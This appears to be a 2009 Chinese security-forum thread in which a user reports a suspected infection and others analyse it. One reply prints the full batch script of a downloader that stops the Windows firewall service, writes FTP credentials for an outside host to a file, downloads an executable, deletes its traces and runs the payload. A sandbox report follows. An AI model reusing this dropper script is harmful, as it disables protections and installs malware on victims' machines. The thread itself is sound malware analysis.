第一次上报..

flame101

怀疑有毒，但自己杀软没反应.
文件目录 C:\\WINDOWS\\dirtyy\     肯定有问题的，可是我没有证据....

症状见：http://iask.tech.sina.com.cn/b/14748318.html 我和这里的状况一样的...怀疑中了同一个的

[ 本帖最后由 flame101 于 2009-2-22 01:05 编辑 ]

醉一生爱妍

Downloader

vbe为辅助性犯罪工具

down21会先调用ping测试网络是否连通性

flame101

太厉害了...能否说的详细点，个人是个菜鸟..希望可以学习下

醉一生爱妍

非高手

仅次于菜鸟层次

flame101

那它怎么会调用ftp.exe下载一个东西，然后又自动消失了啊？难道是所说的“自杀”？？？ 没见过:-C，第一次对病毒研究

醉一生爱妍

@rem ----- ExeScript Options Begin -----
@rem ScriptType: console,silent
@rem DestDirectory: temp
@rem Icon: default
@rem OutputFile: C:\Documents and Settings\Administrator\桌面\down21.exe
@rem ----- ExeScript Options End -----
ping -n 10 127.1>nul
sc stop sharedaccess
@echo open www.guo1255.cn 21>cc1.dat
@echo hjgurft56>>cc1.dat
@echo zhang2830891>>cc1.dat
@echo cd wwwroot>>cc1.dat
@echo binary>>cc1.dat
@echo get 2830891.exe>>cc1.dat
@echo bye>>cc1.dat
ftp -s:cc1.dat
sc start sharedaccess
del cc1.dat
2830891.exe
exit

------------------------------------------------------------------

Malware:Hupigon

醉一生爱妍

作者真的是耗费心思

而且红伞居然MISS?

---------------------------



[ 本帖最后由 WillBeNextKido 于 2009-2-22 01:30 编辑 ]

黑衣~魂

看不出啥東西
down21.exe : Not detected by Sandbox (Signature: NO_VIRUS)
[ DetectionInfo ]
   * Filename: C:\analyzer\scan\down21.exe.
   * Sandbox name: NO_MALWARE
   * Signature name: NO_VIRUS.
   * Compressed: YES.
   * TLS hooks: NO.
   * Executable type: Application.
   * Executable file structure: OK.
   * Filetype: PE_I386.
[ General information ]
   * Decompressing UPX3.
   * File length:        43008 bytes.
   * MD5 hash: cc1db0e49f017c6bc7aa086bb707fc91.
[ Changes to filesystem ]
   * Creates file C:\WINDOWS\TEMP\down21.bat.
   * Deletes file C:\WINDOWS\TEMP\down21.bat.
   * Creates file C:\WINDOWS\TEMP\exe1798.tmp.
   * Deletes file C:\WINDOWS\TEMP\exe1798.tmp.
[ Signature Scanning ]
   * C:\WINDOWS\TEMP\down21.bat (547 bytes) : no signature detection.

[ 本帖最后由 黑衣~魂 于 2009-2-22 01:29 编辑 ]

醉一生爱妍

并不是no virus

他只不过是作者利用的一个下载工具 最终请见7L

flame101

哇哇哇....
太太太太厉害了...请问这个是怎么样记录下来的啊？我只能看着它，怎么才能知道它都干什么了啊...
很佩服了，求教啦